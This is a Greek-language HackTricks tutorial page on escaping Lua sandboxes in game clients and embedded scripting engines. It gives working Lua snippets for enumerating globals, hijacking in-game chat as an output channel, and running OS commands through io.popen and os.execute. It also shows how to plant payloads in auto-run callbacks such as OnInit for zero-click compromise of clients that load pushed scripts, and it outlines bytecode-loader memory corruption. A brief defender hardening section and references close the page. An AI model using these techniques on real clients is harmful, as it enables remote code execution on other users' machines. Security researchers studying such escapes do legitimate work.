116 lines
7.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Παρακάμψτε Lua sandboxes (embedded VMs, game clients)
{{#include ../../../banners/hacktricks-training.md}}
Αυτή η σελίδα συγκεντρώνει πρακτικές τεχνικές για να εξερευνήσετε και να ξεφύγετε από ενσωματωμένα Lua "sandboxes" σε εφαρμογές (ιδιαίτερα game clients, plugins, ή in-app scripting engines). Πολλές engines εκθέτουν ένα περιορισμένο περιβάλλον Lua, αλλά αφήνουν ισχυρά globals προσβάσιμα που επιτρέπουν αυθαίρετη εκτέλεση εντολών ή ακόμη και native memory corruption όταν εκτίθενται bytecode loaders.
Key ideas:
- Θεωρήστε το VM ως άγνωστο περιβάλλον: καταγράψτε το _G και ανακαλύψτε ποια επικίνδυνα primitives είναι προσβάσιμα.
- Όταν stdout/print είναι μπλοκαρισμένο, κακοποιήστε οποιοδήποτε in-VM UI/IPC κανάλι ως output sink για να παρατηρήσετε αποτελέσματα.
- Αν io/os είναι εκτεθειμένα, συχνά έχετε απευθείας εκτέλεση εντολών (io.popen, os.execute).
- Αν load/loadstring/loadfile είναι εκτεθειμένα, η εκτέλεση crafted Lua bytecode μπορεί να υπονομεύσει την ασφάλεια μνήμης σε μερικές εκδόσεις (≤5.1 verifiers are bypassable; 5.2 removed verifier), επιτρέποντας προχωρημένη εκμετάλλευση.
## Εξερεύνηση του sandboxed περιβάλλοντος
- Dump το global environment για να καταγράψετε reachable tables/functions:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
out("=== DUMPING _G ===")
for k, v in pairs(_G) do
out(tostring(k) .. " = " .. tostring(v))
end
end
```
- Αν το print() δεν είναι διαθέσιμο, επαναχρησιμοποιήστε τα in-VM κανάλια. Παράδειγμα από ένα MMO housing script VM όπου η έξοδος στο chat λειτουργεί μόνο μετά από μια sound call; το παρακάτω δημιουργεί μια αξιόπιστη συνάρτηση εξόδου:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
-- Some engines require enabling an audio channel before speaking
H.PlaySound(0, "r[1]") -- quirk: required before H.Say()
return function(msg)
H.Say(label or 1, msg)
end
end
function OnMenu(menuNum)
if menuNum ~= 3 then return end
local out = ButlerOut(1)
dump_globals(out)
end
```
Γενικεύστε αυτό το μοτίβο για τον στόχο σας: οποιοδήποτε textbox, toast, logger ή UI callback που δέχεται strings μπορεί να λειτουργήσει ως stdout για reconnaissance.
## Άμεση εκτέλεση εντολών αν io/os είναι εκτεθειμένα
Αν το sandbox εξακολουθεί να εκθέει τις standard βιβλιοθήκες io or os, πιθανότατα έχετε άμεση εκτέλεση εντολών:
```lua
-- Windows example
io.popen("calc.exe")
-- Cross-platform variants depending on exposure
os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
Σημειώσεις:
- Η εκτέλεση συμβαίνει μέσα στο client process· πολλά anti-cheat/antidebug layers που μπλοκάρουν external debuggers δεν θα αποτρέψουν το in-VM process creation.
- Επίσης έλεγξε: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
## Zero-click triggers via auto-run callbacks
Αν η host application ωθεί scripts στους clients και η VM εκθέτει auto-run hooks (π.χ. OnInit/OnLoad/OnEnter), τοποθέτησε το payload σου εκεί για drive-by compromise μόλις το script φορτωθεί:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
Οποιοσδήποτε ισοδύναμος callback (OnLoad, OnEnter, etc.) γενικεύει αυτή την τεχνική όταν scripts μεταδίδονται και εκτελούνται αυτόματα στον client.
## Επικίνδυνα primitives για να εντοπίσετε κατά το recon
Κατά την enumeration του _G, ψάξτε ειδικά για:
- io, os: io.popen, os.execute, file I/O, πρόσβαση σε μεταβλητές περιβάλλοντος.
- load, loadstring, loadfile, dofile: εκτελούν πηγαίο κώδικα ή bytecode· επιτρέπουν τη φόρτωση μη αξιόπιστου bytecode.
- package, package.loadlib, require: φόρτωση δυναμικών βιβλιοθηκών και επιφάνεια module.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, και hooks.
- LuaJIT-only: ffi.cdef, ffi.load για να καλεί άμεσα native code.
Minimal usage examples (if reachable):
```lua
-- Execute source/bytecode
local f = load("return 1+1")
print(f()) -- 2
-- loadstring is alias of load for strings in 5.1
local bc = string.dump(function() return 0x1337 end)
local g = loadstring(bc) -- in 5.1 may run precompiled bytecode
print(g())
-- Load native library symbol (if allowed)
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Προαιρετική κλιμάκωση: κατάχρηση των Lua bytecode loaders
Όταν τα load/loadstring/loadfile είναι προσβάσιμα αλλά io/os είναι περιορισμένα, η εκτέλεση χειροποίητου Lua bytecode μπορεί να οδηγήσει σε memory disclosure και primitives καταστροφής μνήμης. Βασικά σημεία:
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
Αυτή η διαδρομή είναι engine/version-specific και απαιτεί RE. Δείτε τις αναφορές για deep dives, exploitation primitives, και παραδείγματα gadgetry σε παιχνίδια.
## Detection and hardening notes (for defenders)
- Server side: απορρίψτε ή επαναγράψτε user scripts; allowlist safe APIs; strip ή bind-empty io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi.
- Client side: τρέξτε Lua με ένα minimal _ENV, απαγορεύστε bytecode loading, επανεισάγετε έναν αυστηρό bytecode verifier ή signature checks, και μπλοκάρετε τη δημιουργία διαδικασιών από τη διεργασία του client.
- Telemetry: ειδοποιήστε για gameclient → child process creation σύντομα μετά το script load; συσχετίστε με UI/chat/script events.
## References
- [This House is Haunted: a decade old RCE in the AION client (housing Lua VM)](https://appsec.space/posts/aion-housing-exploit/)
- [Bytecode Breakdown: Unraveling Factorio's Lua Security Flaws](https://memorycorruption.net/posts/rce-lua-factorio/)
- [lua-l (2009): Discussion on dropping the bytecode verifier](https://web.archive.org/web/20230308193701/https://lua-users.org/lists/lua-l/2009-03/msg00039.html)
- [Exploiting Lua 5.1 bytecode (gist with verifier bypasses/notes)](https://gist.github.com/ulidtko/51b8671260db79da64d193e41d7e7d16)
{{#include ../../../banners/hacktricks-training.md}}